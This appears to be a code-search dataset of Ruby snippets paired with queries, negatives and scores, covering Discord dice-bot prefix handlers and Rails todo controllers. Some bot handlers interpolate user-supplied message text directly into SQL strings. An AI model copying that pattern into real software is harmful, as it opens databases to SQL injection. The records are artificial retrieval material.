"0.46102268",
"0.46066958",
"0.46041226",
"0.45980382",
"0.4592793",
"0.45678842",
"0.4564626",
"0.4564489",
"0.4559264",
"0.45506448",
"0.45457026",
"0.4545193",
"0.45413923",
"0.4540715",
"0.4540594",
"0.4538362",
"0.45353845",
"0.45353624",
"0.45349038",
"0.4534576",
"0.4532282",
"0.45310506",
"0.45308247",
"0.45246536",
"0.45205894",
"0.4519498",
"0.45191932",
"0.45180544",
"0.45163545",
"0.45080534",
"0.4497843",
"0.4497843",
"0.44973746",
"0.4497003",
"0.44900844",
"0.44869342",
"0.4482979",
"0.4480555",
"0.44753176",
"0.44615307",
"0.446121",
"0.44592196",
"0.4457545",
"0.44559938",
"0.44544154",
"0.44528723",
"0.4451787",
"0.44497192",
"0.44477594",
"0.44431496",
"0.44414422",
"0.44377372",
"0.44333452",
"0.4425308",
"0.44243413",
"0.4418305",
"0.44083178",
"0.44077125",
"0.44076774"
] |
0.0
|
-1
|
this is now deprecated with slash commands
|
def handle_prefix(event)
return false if event.channel.pm?
@prefix_setcmd = event.content.strip.to_s
@server = event.server.id
check_user_or_nick(event)
if @prefix_setcmd =~ /^(!dm prefix check)\s*$/i
@prefix_check = $db.execute "select prefix from prefixes where server = #{@server}"
if @prefix_check.empty?
event.respond(content: 'This servers prefix is set to: !roll')
return true
else
event.respond(content: "This servers prefix is set to: #{@prefix_check[0].join(', ')}")
return true
end
end
if @prefix_setcmd =~ /^(!dm prefix reset)\s*$/i
if event.user.defined_permission?(:manage_messages) == true ||
event.user.defined_permission?(:administrator) == true ||
event.user.permission?(:manage_messages, event.channel) == true
$db.execute "delete from prefixes where server = #{@server}"
event.respond(content: 'Prefix has been reset to !roll')
return true
else
event.respond(content: "#{@user} does not have permissions for this command")
return true
end
end
if @prefix_setcmd =~ /^(!dm prefix)/i
if event.user.defined_permission?(:manage_messages) == true ||
event.user.defined_permission?(:administrator) == true ||
event.user.permission?(:manage_messages, event.channel) == true
# remove command syntax and trailing which will be added later
@prefix_setcmd.slice!(/!dm prefix\s*/i)
if @prefix_setcmd.empty?
# do nothing if the set command is empty
return true
end
if @prefix_setcmd.size > 10
event.respond(content: 'Prefix too large. Keep it under 10 characters')
return true
end
@prefix_prune = @prefix_setcmd.delete(' ')
$db.execute "insert or replace into prefixes(server,prefix,timestamp) VALUES (#{@server},\"!#{@prefix_prune}\",CURRENT_TIMESTAMP)"
event.respond(content: "Prefix is now set to: !#{@prefix_prune}")
true
else
event.respond(content: "#{@user} does not have permissions for this command")
true
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def supercommand!() __supercommand__ end",
"def command; end",
"def command; end",
"def command; end",
"def command; end",
"def command; end",
"def command; end",
"def shell_api; end",
"def commands; end",
"def cmd; end",
"def shell_commands(cmd, *args); end",
"def shell_commands(cmd, args); end",
"def command_raw(args)\n\n end",
"def __subcommand__!() @__subcommand__ end",
"def original_run_command; end",
"def command_uri\n return \"/api_#{@command_name}.php\"\n end",
"def subcommand() __subcommand__ end",
"def command\n fail 'Not implemented.'\n end",
"def commands\n {\n }\n end",
"def cli_prefix; end",
"def shell_api=(_arg0); end",
"def command_name; end",
"def add_original_commands; end",
"def subcommands(cmd); end",
"def subcommands(cmd); end",
"def subcommands() __subcommands__ end",
"def cli_path; end",
"def cmdarg; end",
"def cmdarg; end",
"def cmdarg; end",
"def command\n raise NotImplementedError\n end",
"def extract_command; end",
"def subcommands!() __subcommands__! end",
"def command_builder; end",
"def commands\n\t\t{ }\n\tend",
"def shell(*) end",
"def __subcommand__() @__subcommand__&.__ident__ end",
"def set_commands; end",
"def command(name,aliases,desc,long_desc,arg_name,arg_options)\n abstract!\n end",
"def subcommand!() __subcommand__! end",
"def add_original_commands\n end",
"def raw\n orig_command = \"fsctl #{@command}\"\n end",
"def command_found; end",
"def _warn_deprecated_command(cmd)\n warn \"\\n'#{cmd}' is deprecated! Please use 'defEvent' and 'onEvent' commands\"\n warn \"Deprecated commands will be removed in future OMF versions\"\n warn \"Moreover, they may not allow the use of some features in this version\"\n end",
"def create_command(meth)\n if meth == \"perform\"\n alias_method command_name, meth\n else\n # Prevent exception about command without usage.\n # Some commands define their documentation differently.\n @usage ||= meth\n @desc ||= \"\"\n\n super\n end\n end",
"def parent_command; end",
"def command\n raise NotImplementedError, \"`command' is not implemented by #{self.class.name}\"\n end",
"def cli_path=(_arg0); end",
"def commands\n COMMANDS\n end",
"def commands\n abstract!\n end",
"def command(type)\n end",
"def original_run_command=(_arg0); end",
"def call(*command); end",
"def commands\n {}\n end",
"def command_start; end",
"def command_start; end",
"def command_start; end",
"def execute_command(command)\n end",
"def execute_command(command)\n end",
"def run_cmd(cmd)\n\tend",
"def command_name=(_arg0); end",
"def shell_escaped__batch_commands method_name, *args_to_method\n method_name = :batch_commands\n shell_escaped__send method_name, args_to_method\n end",
"def __subcommands__()\n __subcommands__!.last&.__uid__&.to_sym\n end",
"def parse_cmd commands\n\t\t@commands = commands.split(//)\n\tend",
"def add_commands\n end",
"def shell_open()\n\t\traise NotImplementedError\n\tend",
"def command\n return \"#{@command} #{options}\"\n end",
"def mount_path; end",
"def shell_escaped__batch_command method_name, *args_to_method\n method_name = :batch_command\n shell_escaped__send method_name, args_to_method\n end",
"def default_cmd ; %w{urxvt} ; end",
"def execute(command)\n end",
"def shell(cmd)\n `#{cmd}`\n end",
"def shell(cmd)\n `#{cmd}`\n end",
"def register_command cmd\n $commandlist << cmd\nend",
"def command_start=(_arg0); end",
"def command_start=(_arg0); end",
"def command_start=(_arg0); end",
"def commands\n raise NotImplementedError, \"`command' is not implemented by #{self.class.name}\"\n end",
"def configure_command(cmd)\n end",
"def cmd(*args) self.class.cmd(*args) end",
"def system(cmd, *rest) end",
"def commander _args\n \"commander _args;\" \n end",
"def with_cli(cli); end",
"def default_command(name)\n abstract!\n end",
"def `(cmd) #`\n\t\tRAILS_DEFAULT_LOGGER.debug(\"Running #{cmd}\")\n\t\tKernel.`(cmd) #`\n\tend",
"def commandFollow _obj, _args\n \"_obj commandFollow _args;\" \n end",
"def split_commands(cmd_line); end",
"def mount_path=(_arg0); end",
"def command\n @command ||= command_for(:query)\n end",
"def shellforce_api\n ShellForce.config.path + '/api'\nend",
"def preflight; end",
"def method_missing(cmd, *args)\n command(cmd.to_s, *args)\n end",
"def desc\n \"Command shell\"\n end",
"def command\n if new_resource.command.is_a?(Array)\n [new_resource.python] + new_resource.command\n else\n \"#{new_resource.python} #{new_resource.command}\"\n end\n end",
"def vcap_commands\n\nend",
"def command(type, name, data = nil)\n command = \"#{type} /#{name}\"\n command += \" #{data}\" if data\n \n STDOUT.puts(command)\n end",
"def commands\n\t\t{\n\t\t\t\"cat\" => \"Read the contents of a file to the screen\",\n\t\t\t\"cd\" => \"Change directory\",\n\t\t\t\"download\" => \"Download a file or directory\",\n\t\t\t\"edit\" => \"Edit a file\",\n\t\t\t\"getwd\" => \"Print working directory\",\n\t\t\t\"ls\" => \"List files\",\n\t\t\t\"mkdir\" => \"Make directory\",\n\t\t\t\"pwd\" => \"Print working directory\",\n\t\t\t\"rmdir\" => \"Remove directory\",\n\t\t\t\"upload\" => \"Upload a file or directory\",\n\t\t\t\"lcd\" => \"Change local working directory\",\n\t\t\t\"getlwd\" => \"Print local working directory\",\n\t\t\t\"lpwd\" => \"Print local working directory\",\n\t\t\t\"rm\" => \"Delete the specified file\",\n\t\t\t\"del\" => \"Delete the specified file\",\n\t\t\t\"search\" => \"Search for files\"\n\t\t}\n\tend",
"def cli_prefix=(_arg0); end",
"def commands\n self.class.commands\n end",
"def process; raise CommandError, \"command '#{command_name}' not implemented\" end",
"def execute(command) # rubocop:disable Lint/UnusedMethodArgument\n end"
] |
[
"0.6603829",
"0.65183556",
"0.65183556",
"0.65183556",
"0.65183556",
"0.65183556",
"0.65183556",
"0.64963824",
"0.6431876",
"0.64063287",
"0.6300021",
"0.62794733",
"0.6210728",
"0.61753446",
"0.6146379",
"0.60633326",
"0.60614026",
"0.60607177",
"0.605034",
"0.6042903",
"0.6024029",
"0.60028213",
"0.59991634",
"0.5980562",
"0.5980562",
"0.59736776",
"0.59676003",
"0.58354086",
"0.58354086",
"0.58354086",
"0.5824359",
"0.58137065",
"0.5809905",
"0.58039314",
"0.5797681",
"0.57918686",
"0.57736117",
"0.5771113",
"0.5769102",
"0.56997776",
"0.56538516",
"0.5627548",
"0.56211734",
"0.5609667",
"0.56076455",
"0.55618346",
"0.5551505",
"0.55456895",
"0.553977",
"0.5535731",
"0.5526864",
"0.55045265",
"0.5495353",
"0.5488224",
"0.5467934",
"0.5467934",
"0.5467934",
"0.5463201",
"0.5463201",
"0.5447247",
"0.5410961",
"0.5394531",
"0.5392244",
"0.53816855",
"0.536916",
"0.53543085",
"0.5353587",
"0.5350207",
"0.5347591",
"0.5339934",
"0.5339608",
"0.53213894",
"0.53213894",
"0.53142357",
"0.5313573",
"0.5313573",
"0.5313573",
"0.5301411",
"0.5286111",
"0.52839434",
"0.52794605",
"0.52758723",
"0.52704865",
"0.5269149",
"0.5248517",
"0.5248308",
"0.5245792",
"0.5245086",
"0.5242969",
"0.52412564",
"0.52405196",
"0.52353877",
"0.5234388",
"0.52180034",
"0.52105427",
"0.52099806",
"0.519818",
"0.5189797",
"0.5188474",
"0.5180901",
"0.5177124"
] |
0.0
|
-1
|
this is now deprecated with slash commands
|
def check_server_options(event)
if event.content =~ /(^!dm prefix)/i
if @launch_option == 'lite'
event.respond(content: 'This option is not supported with Dice Maiden Lite.')
return true
end
handle_prefix(event)
elsif event.content =~ /(^!dm request)/i
if @launch_option == 'lite'
event.respond(content: 'This option is not supported with Dice Maiden Lite.')
return true
end
set_show_request(event)
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def supercommand!() __supercommand__ end",
"def command; end",
"def command; end",
"def command; end",
"def command; end",
"def command; end",
"def command; end",
"def shell_api; end",
"def commands; end",
"def cmd; end",
"def shell_commands(cmd, *args); end",
"def shell_commands(cmd, args); end",
"def command_raw(args)\n\n end",
"def __subcommand__!() @__subcommand__ end",
"def original_run_command; end",
"def command_uri\n return \"/api_#{@command_name}.php\"\n end",
"def subcommand() __subcommand__ end",
"def command\n fail 'Not implemented.'\n end",
"def commands\n {\n }\n end",
"def cli_prefix; end",
"def shell_api=(_arg0); end",
"def command_name; end",
"def add_original_commands; end",
"def subcommands(cmd); end",
"def subcommands(cmd); end",
"def subcommands() __subcommands__ end",
"def cli_path; end",
"def cmdarg; end",
"def cmdarg; end",
"def cmdarg; end",
"def command\n raise NotImplementedError\n end",
"def extract_command; end",
"def subcommands!() __subcommands__! end",
"def command_builder; end",
"def commands\n\t\t{ }\n\tend",
"def shell(*) end",
"def __subcommand__() @__subcommand__&.__ident__ end",
"def set_commands; end",
"def command(name,aliases,desc,long_desc,arg_name,arg_options)\n abstract!\n end",
"def subcommand!() __subcommand__! end",
"def add_original_commands\n end",
"def raw\n orig_command = \"fsctl #{@command}\"\n end",
"def command_found; end",
"def _warn_deprecated_command(cmd)\n warn \"\\n'#{cmd}' is deprecated! Please use 'defEvent' and 'onEvent' commands\"\n warn \"Deprecated commands will be removed in future OMF versions\"\n warn \"Moreover, they may not allow the use of some features in this version\"\n end",
"def create_command(meth)\n if meth == \"perform\"\n alias_method command_name, meth\n else\n # Prevent exception about command without usage.\n # Some commands define their documentation differently.\n @usage ||= meth\n @desc ||= \"\"\n\n super\n end\n end",
"def parent_command; end",
"def command\n raise NotImplementedError, \"`command' is not implemented by #{self.class.name}\"\n end",
"def cli_path=(_arg0); end",
"def commands\n COMMANDS\n end",
"def commands\n abstract!\n end",
"def command(type)\n end",
"def original_run_command=(_arg0); end",
"def call(*command); end",
"def commands\n {}\n end",
"def command_start; end",
"def command_start; end",
"def command_start; end",
"def execute_command(command)\n end",
"def execute_command(command)\n end",
"def run_cmd(cmd)\n\tend",
"def command_name=(_arg0); end",
"def shell_escaped__batch_commands method_name, *args_to_method\n method_name = :batch_commands\n shell_escaped__send method_name, args_to_method\n end",
"def __subcommands__()\n __subcommands__!.last&.__uid__&.to_sym\n end",
"def parse_cmd commands\n\t\t@commands = commands.split(//)\n\tend",
"def add_commands\n end",
"def shell_open()\n\t\traise NotImplementedError\n\tend",
"def command\n return \"#{@command} #{options}\"\n end",
"def mount_path; end",
"def shell_escaped__batch_command method_name, *args_to_method\n method_name = :batch_command\n shell_escaped__send method_name, args_to_method\n end",
"def default_cmd ; %w{urxvt} ; end",
"def execute(command)\n end",
"def shell(cmd)\n `#{cmd}`\n end",
"def shell(cmd)\n `#{cmd}`\n end",
"def register_command cmd\n $commandlist << cmd\nend",
"def command_start=(_arg0); end",
"def command_start=(_arg0); end",
"def command_start=(_arg0); end",
"def commands\n raise NotImplementedError, \"`command' is not implemented by #{self.class.name}\"\n end",
"def configure_command(cmd)\n end",
"def cmd(*args) self.class.cmd(*args) end",
"def system(cmd, *rest) end",
"def commander _args\n \"commander _args;\" \n end",
"def with_cli(cli); end",
"def default_command(name)\n abstract!\n end",
"def `(cmd) #`\n\t\tRAILS_DEFAULT_LOGGER.debug(\"Running #{cmd}\")\n\t\tKernel.`(cmd) #`\n\tend",
"def commandFollow _obj, _args\n \"_obj commandFollow _args;\" \n end",
"def split_commands(cmd_line); end",
"def mount_path=(_arg0); end",
"def command\n @command ||= command_for(:query)\n end",
"def shellforce_api\n ShellForce.config.path + '/api'\nend",
"def preflight; end",
"def method_missing(cmd, *args)\n command(cmd.to_s, *args)\n end",
"def desc\n \"Command shell\"\n end",
"def command\n if new_resource.command.is_a?(Array)\n [new_resource.python] + new_resource.command\n else\n \"#{new_resource.python} #{new_resource.command}\"\n end\n end",
"def vcap_commands\n\nend",
"def command(type, name, data = nil)\n command = \"#{type} /#{name}\"\n command += \" #{data}\" if data\n \n STDOUT.puts(command)\n end",
"def commands\n\t\t{\n\t\t\t\"cat\" => \"Read the contents of a file to the screen\",\n\t\t\t\"cd\" => \"Change directory\",\n\t\t\t\"download\" => \"Download a file or directory\",\n\t\t\t\"edit\" => \"Edit a file\",\n\t\t\t\"getwd\" => \"Print working directory\",\n\t\t\t\"ls\" => \"List files\",\n\t\t\t\"mkdir\" => \"Make directory\",\n\t\t\t\"pwd\" => \"Print working directory\",\n\t\t\t\"rmdir\" => \"Remove directory\",\n\t\t\t\"upload\" => \"Upload a file or directory\",\n\t\t\t\"lcd\" => \"Change local working directory\",\n\t\t\t\"getlwd\" => \"Print local working directory\",\n\t\t\t\"lpwd\" => \"Print local working directory\",\n\t\t\t\"rm\" => \"Delete the specified file\",\n\t\t\t\"del\" => \"Delete the specified file\",\n\t\t\t\"search\" => \"Search for files\"\n\t\t}\n\tend",
"def cli_prefix=(_arg0); end",
"def commands\n self.class.commands\n end",
"def process; raise CommandError, \"command '#{command_name}' not implemented\" end",
"def execute(command) # rubocop:disable Lint/UnusedMethodArgument\n end"
] |
[
"0.6603829",
"0.65183556",
"0.65183556",
"0.65183556",
"0.65183556",
"0.65183556",
"0.65183556",
"0.64963824",
"0.6431876",
"0.64063287",
"0.6300021",
"0.62794733",
"0.6210728",
"0.61753446",
"0.6146379",
"0.60633326",
"0.60614026",
"0.60607177",
"0.605034",
"0.6042903",
"0.6024029",
"0.60028213",
"0.59991634",
"0.5980562",
"0.5980562",
"0.59736776",
"0.59676003",
"0.58354086",
"0.58354086",
"0.58354086",
"0.5824359",
"0.58137065",
"0.5809905",
"0.58039314",
"0.5797681",
"0.57918686",
"0.57736117",
"0.5771113",
"0.5769102",
"0.56997776",
"0.56538516",
"0.5627548",
"0.56211734",
"0.5609667",
"0.56076455",
"0.55618346",
"0.5551505",
"0.55456895",
"0.553977",
"0.5535731",
"0.5526864",
"0.55045265",
"0.5495353",
"0.5488224",
"0.5467934",
"0.5467934",
"0.5467934",
"0.5463201",
"0.5463201",
"0.5447247",
"0.5410961",
"0.5394531",
"0.5392244",
"0.53816855",
"0.536916",
"0.53543085",
"0.5353587",
"0.5350207",
"0.5347591",
"0.5339934",
"0.5339608",
"0.53213894",
"0.53213894",
"0.53142357",
"0.5313573",
"0.5313573",
"0.5313573",
"0.5301411",
"0.5286111",
"0.52839434",
"0.52794605",
"0.52758723",
"0.52704865",
"0.5269149",
"0.5248517",
"0.5248308",
"0.5245792",
"0.5245086",
"0.5242969",
"0.52412564",
"0.52405196",
"0.52353877",
"0.5234388",
"0.52180034",
"0.52105427",
"0.52099806",
"0.519818",
"0.5189797",
"0.5188474",
"0.5180901",
"0.5177124"
] |
0.0
|
-1
|
this is now deprecated with slash commands
|
def set_show_request(event)
return false if event.channel.pm?
request_setcmd = event.content.delete_prefix('!dm request').strip
server = event.server.id
check_user_or_nick(event)
if event.user.defined_permission?(:manage_messages) == true ||
event.user.defined_permission?(:administrator) == true ||
event.user.permission?(:manage_messages, event.channel) == true
if request_setcmd == 'show'
@request_option = true
$db.execute "insert or replace into server_options(server,show_requests,timestamp) VALUES (#{server},\"#{@request_option}\",CURRENT_TIMESTAMP)"
elsif request_setcmd == 'hide'
$db.execute "delete from server_options where server = #{server}"
else
event.respond(content: "'" + request_setcmd + "' is not a valid option. Please use 'show' or 'hide'.")
return true
end
event.respond(content: 'Requests will now be ' + (@request_option ? 'shown' : 'hidden') + ' in responses.')
true
else
event.respond(content: "#{@user} does not have permissions for this command")
true
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def supercommand!() __supercommand__ end",
"def command; end",
"def command; end",
"def command; end",
"def command; end",
"def command; end",
"def command; end",
"def shell_api; end",
"def commands; end",
"def cmd; end",
"def shell_commands(cmd, *args); end",
"def shell_commands(cmd, args); end",
"def command_raw(args)\n\n end",
"def __subcommand__!() @__subcommand__ end",
"def original_run_command; end",
"def command_uri\n return \"/api_#{@command_name}.php\"\n end",
"def subcommand() __subcommand__ end",
"def command\n fail 'Not implemented.'\n end",
"def commands\n {\n }\n end",
"def cli_prefix; end",
"def shell_api=(_arg0); end",
"def command_name; end",
"def add_original_commands; end",
"def subcommands(cmd); end",
"def subcommands(cmd); end",
"def subcommands() __subcommands__ end",
"def cli_path; end",
"def cmdarg; end",
"def cmdarg; end",
"def cmdarg; end",
"def command\n raise NotImplementedError\n end",
"def extract_command; end",
"def subcommands!() __subcommands__! end",
"def command_builder; end",
"def commands\n\t\t{ }\n\tend",
"def shell(*) end",
"def __subcommand__() @__subcommand__&.__ident__ end",
"def set_commands; end",
"def command(name,aliases,desc,long_desc,arg_name,arg_options)\n abstract!\n end",
"def subcommand!() __subcommand__! end",
"def add_original_commands\n end",
"def raw\n orig_command = \"fsctl #{@command}\"\n end",
"def command_found; end",
"def _warn_deprecated_command(cmd)\n warn \"\\n'#{cmd}' is deprecated! Please use 'defEvent' and 'onEvent' commands\"\n warn \"Deprecated commands will be removed in future OMF versions\"\n warn \"Moreover, they may not allow the use of some features in this version\"\n end",
"def create_command(meth)\n if meth == \"perform\"\n alias_method command_name, meth\n else\n # Prevent exception about command without usage.\n # Some commands define their documentation differently.\n @usage ||= meth\n @desc ||= \"\"\n\n super\n end\n end",
"def parent_command; end",
"def command\n raise NotImplementedError, \"`command' is not implemented by #{self.class.name}\"\n end",
"def cli_path=(_arg0); end",
"def commands\n COMMANDS\n end",
"def commands\n abstract!\n end",
"def command(type)\n end",
"def original_run_command=(_arg0); end",
"def call(*command); end",
"def commands\n {}\n end",
"def command_start; end",
"def command_start; end",
"def command_start; end",
"def execute_command(command)\n end",
"def execute_command(command)\n end",
"def run_cmd(cmd)\n\tend",
"def command_name=(_arg0); end",
"def shell_escaped__batch_commands method_name, *args_to_method\n method_name = :batch_commands\n shell_escaped__send method_name, args_to_method\n end",
"def __subcommands__()\n __subcommands__!.last&.__uid__&.to_sym\n end",
"def parse_cmd commands\n\t\t@commands = commands.split(//)\n\tend",
"def add_commands\n end",
"def shell_open()\n\t\traise NotImplementedError\n\tend",
"def command\n return \"#{@command} #{options}\"\n end",
"def mount_path; end",
"def shell_escaped__batch_command method_name, *args_to_method\n method_name = :batch_command\n shell_escaped__send method_name, args_to_method\n end",
"def default_cmd ; %w{urxvt} ; end",
"def execute(command)\n end",
"def shell(cmd)\n `#{cmd}`\n end",
"def shell(cmd)\n `#{cmd}`\n end",
"def command_start=(_arg0); end",
"def command_start=(_arg0); end",
"def command_start=(_arg0); end",
"def register_command cmd\n $commandlist << cmd\nend",
"def commands\n raise NotImplementedError, \"`command' is not implemented by #{self.class.name}\"\n end",
"def configure_command(cmd)\n end",
"def cmd(*args) self.class.cmd(*args) end",
"def system(cmd, *rest) end",
"def commander _args\n \"commander _args;\" \n end",
"def with_cli(cli); end",
"def default_command(name)\n abstract!\n end",
"def commandFollow _obj, _args\n \"_obj commandFollow _args;\" \n end",
"def `(cmd) #`\n\t\tRAILS_DEFAULT_LOGGER.debug(\"Running #{cmd}\")\n\t\tKernel.`(cmd) #`\n\tend",
"def mount_path=(_arg0); end",
"def split_commands(cmd_line); end",
"def shellforce_api\n ShellForce.config.path + '/api'\nend",
"def command\n @command ||= command_for(:query)\n end",
"def preflight; end",
"def desc\n \"Command shell\"\n end",
"def method_missing(cmd, *args)\n command(cmd.to_s, *args)\n end",
"def command\n if new_resource.command.is_a?(Array)\n [new_resource.python] + new_resource.command\n else\n \"#{new_resource.python} #{new_resource.command}\"\n end\n end",
"def command(type, name, data = nil)\n command = \"#{type} /#{name}\"\n command += \" #{data}\" if data\n \n STDOUT.puts(command)\n end",
"def vcap_commands\n\nend",
"def commands\n\t\t{\n\t\t\t\"cat\" => \"Read the contents of a file to the screen\",\n\t\t\t\"cd\" => \"Change directory\",\n\t\t\t\"download\" => \"Download a file or directory\",\n\t\t\t\"edit\" => \"Edit a file\",\n\t\t\t\"getwd\" => \"Print working directory\",\n\t\t\t\"ls\" => \"List files\",\n\t\t\t\"mkdir\" => \"Make directory\",\n\t\t\t\"pwd\" => \"Print working directory\",\n\t\t\t\"rmdir\" => \"Remove directory\",\n\t\t\t\"upload\" => \"Upload a file or directory\",\n\t\t\t\"lcd\" => \"Change local working directory\",\n\t\t\t\"getlwd\" => \"Print local working directory\",\n\t\t\t\"lpwd\" => \"Print local working directory\",\n\t\t\t\"rm\" => \"Delete the specified file\",\n\t\t\t\"del\" => \"Delete the specified file\",\n\t\t\t\"search\" => \"Search for files\"\n\t\t}\n\tend",
"def cli_prefix=(_arg0); end",
"def commands\n self.class.commands\n end",
"def process; raise CommandError, \"command '#{command_name}' not implemented\" end",
"def execute(command) # rubocop:disable Lint/UnusedMethodArgument\n end"
] |
[
"0.66041696",
"0.6519286",
"0.6519286",
"0.6519286",
"0.6519286",
"0.6519286",
"0.6519286",
"0.64978373",
"0.64332736",
"0.6406627",
"0.630118",
"0.62806",
"0.62108153",
"0.6176256",
"0.6145445",
"0.6064148",
"0.60626096",
"0.60602117",
"0.6051212",
"0.60434514",
"0.6025319",
"0.6002192",
"0.59981346",
"0.59823215",
"0.59823215",
"0.59759575",
"0.596927",
"0.5835293",
"0.5835293",
"0.5835293",
"0.58242327",
"0.5813153",
"0.58119553",
"0.58033764",
"0.5799082",
"0.57938284",
"0.5774566",
"0.57720065",
"0.57689387",
"0.5700758",
"0.56528133",
"0.5626154",
"0.5621261",
"0.5606319",
"0.5606036",
"0.5562038",
"0.55511224",
"0.5547541",
"0.5540209",
"0.5537025",
"0.5527795",
"0.5503714",
"0.5495132",
"0.54887253",
"0.54693615",
"0.54693615",
"0.54693615",
"0.54629487",
"0.54629487",
"0.5447512",
"0.5410591",
"0.53941214",
"0.539334",
"0.53812706",
"0.53697836",
"0.53541857",
"0.53520525",
"0.5352",
"0.5346768",
"0.53406703",
"0.53397787",
"0.5321176",
"0.5321176",
"0.531457",
"0.531457",
"0.531457",
"0.5314459",
"0.53012586",
"0.5285072",
"0.52843624",
"0.52788603",
"0.52760434",
"0.5270497",
"0.5269337",
"0.5250002",
"0.5248782",
"0.52466357",
"0.5245517",
"0.52425015",
"0.5242316",
"0.52408844",
"0.52349705",
"0.5234364",
"0.52174234",
"0.52115905",
"0.5210332",
"0.519964",
"0.5190116",
"0.5189068",
"0.51797706",
"0.51762176"
] |
0.0
|
-1
|
GET /todos GET /todos.json
|
def index
@todos = Todo.where(user_id: current_user.id). where(finish: false).offset(0).limit(PAGE_DISP_NUM).order("deadline DESC")
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @todos = Todo.all\n json_response(@todos)\n end",
"def show\n todo = Todo.find_by_id(params[:id])\n render json: todo.todos\n end",
"def index\n @todos = @list.todos\n render json: @todos\n end",
"def index\n @todos = Todo.all\n render json: @todos\n end",
"def index\n @todos = @list.todos.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @todos }\n end\n end",
"def index\n render json: Todo.all\n end",
"def index\n @api_v1_todos = Todo.all\n render json: @api_v1_todos\n end",
"def index\n @to_dos = ToDo.all\n\n render json: @to_dos\n end",
"def index\n \n get_collections\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @todos }\n format.js {}\n end\n end",
"def show\n @todo = @list.todos.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @todo }\n end\n end",
"def tasks\n @todos = Todo.all\n render json: @todos\n end",
"def show\n json_response(@todo)\n end",
"def show\n @todo=Todo.find(params[:id])\n render json: @todo\n end",
"def index\n load_context\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @todos }\n end\n end",
"def show\n @todo = Todo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @todo }\n end\n end",
"def show\n @todo = Todo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @todo }\n end\n end",
"def index\n @todo_users = TodoUser.all\n\n render json: @todo_users\n end",
"def index\n @todos = Todo.all\n respond_with @todos\n end",
"def show\n puts params[:id]\n render json: Todo.find(params[:id])\n end",
"def index\n render :json => Todo.all.to_json\n end",
"def show\n respond_to do |format|\n # format.html # index.html.erb\n format.json { render json: @todo }\n end\n end",
"def show\n @todo = Todo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json=>@todo }\n end\n end",
"def index\n @todos = Todo.all\n end",
"def index\n @todos = Todo.all\n end",
"def index\n @todos = Todo.all\n end",
"def index\n @todos = Todo.all\n end",
"def index\n @todos = Todo.all\n end",
"def index\n @todos = Todo.all\n end",
"def index\n @todos = @user.todos\n end",
"def index\n @todo_lists = TodoList.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @todo_lists }\n end\n end",
"def show\n @todo_list = TodoList.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @todo_list }\n end\n end",
"def show\n @todo_list = TodoList.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json=>@todo_list }\n end\n end",
"def show\n @todo = Todo.find(params[:id])\n #@todos = Todo.where(:id>=0).order(\"id asc\").page(params[:page]).per(3)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @todo }\n end\n end",
"def show\n @to_do = ToDo.find(params[:id])\n\n render json: @to_do\n end",
"def get_list(id)\n record \"/todos/list/#{id}\"\n end",
"def show\n render json: @api_v1_todo\n end",
"def index\n @todos = @list.todos.all\n end",
"def index\n \n # Get all the todos\n @todos = Todo.all\n \n # Search\n @todos = @todos.search(params[:q]) if params[:q]\n render status: :ok\n end",
"def index\n @project_todos = @project.project_todos.all\n \n #render :json => @project_todos\n \n end",
"def show\n @todo = Todo.find(params[:id])\n navigation\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @todo }\n end\n end",
"def new\n @todo = @list.todos.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @todo }\n end\n end",
"def list_todo_items(opts={})\n query_param_keys = [\n \n ]\n\n form_param_keys = [\n \n ]\n\n # set default values and merge with input\n options = underscored_merge_opts(opts,\n {}\n \n )\n\n # resource path\n path = path_replace(\"/v1/users/self/todo\",\n )\n headers = nil\n form_params = select_params(options, form_param_keys)\n query_params = select_params(options, query_param_keys)\n if opts[:next_page]\n pagination_params = page_params_load(:get, path)\n query_params.merge! pagination_params if pagination_params\n end\n response = mixed_request(:get, path, query_params, form_params, headers)\n page_params_store(:get, path)\n response\n \n end",
"def get_todo_restaurants\n @profile = Profile.find(params[:id])\n @restaurants = @profile.todos\n\n render status: 200, json: @restaurants\n end",
"def index\n # 讓這個 Controller 只會回覆 JSON 格式\n @todo3s = Todo3.all\n\n respond_to :json\n end",
"def index\n @todos = Todo.users(current_user.id).all\n @todo = Todo.new\n @todo.date = Time.new.to_s\n @todo.time = Record::get_time_as_string\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @todos }\n format.js { render :json=> @todos }\n end\n end",
"def show\n @todo_task = TodoTask.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @todo_task }\n end\n end",
"def index\n if request.referrer.split('/').last == \"preview\"\n @deleted_from_preview = true\n end\n\n @todos = Todo.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @todos }\n end\n end",
"def show\n ## Creating the todo object \n @todo = Todo.find(params[:id])\n \n respond_to do |format|\n format.html { get_collections and render :action => :index }\n format.json { render json: @todo }\n format.js {}\n end\n end",
"def show\n @todo = Todo.find(params[:id])\n respond_with @todo\n end",
"def index\n # @todos = Todo.all\n\n @todos = current_user.todos\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @todos }\n end\n end",
"def index\n @todos = Todo.all\n\n render json: @todos, callback: params[:callback]\n end",
